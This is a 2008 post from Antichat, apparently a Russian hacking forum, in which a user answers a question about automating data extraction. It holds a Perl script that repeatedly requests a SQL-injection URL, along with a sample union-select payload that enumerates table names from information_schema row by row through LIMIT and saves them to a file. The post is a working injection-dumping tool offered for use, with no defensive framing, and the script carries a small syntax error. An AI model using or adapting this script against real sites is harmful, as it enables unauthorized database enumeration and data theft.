
27.01.2008, 19:28
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
Сообщение от Derec
Скажите пожалуйста, если таблицы выводятся посредством limit, и их очень много, как можно автоматизировать процесс?
Полчаса назад писал для себя:
PHP код:
#!/usr/bin/perl
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
$x=0;
$y = $ARGV[0];
open(TT,">","mda.txt") or die "$!";
while ($x<=$y)
{
$omfg = $ua->get("СКУЕЛЬ")->content;
$omfg =~m%:::(.*?):::%i)
$table = $1;
print TT $table, "\n";
$x++;
}
close TT;
В get("СКУЕЛЬ") должна быть скуль вида:
http://site.com/index.php?id=1+union+select+ concat(0x3a3a3a,table_name ,0x3a3a3a)+from+information_schema.tables+limit+ $x,1/*
Участки выделенные красным обязательны в запросе. Запускаешь скрипт, вводишь кол-во таблиц/полей/ещё чего то, которое нужно сдампить. Всё сохраняет в текстовик mda.txt
ЗЫ Писалось на скорую руку для себя, так что любители дое*аться к коду идут лесом(:
Последний раз редактировалось .Slip; 27.01.2008 в 22:10..
Причина: переделал под запуск с шелла
|
|
|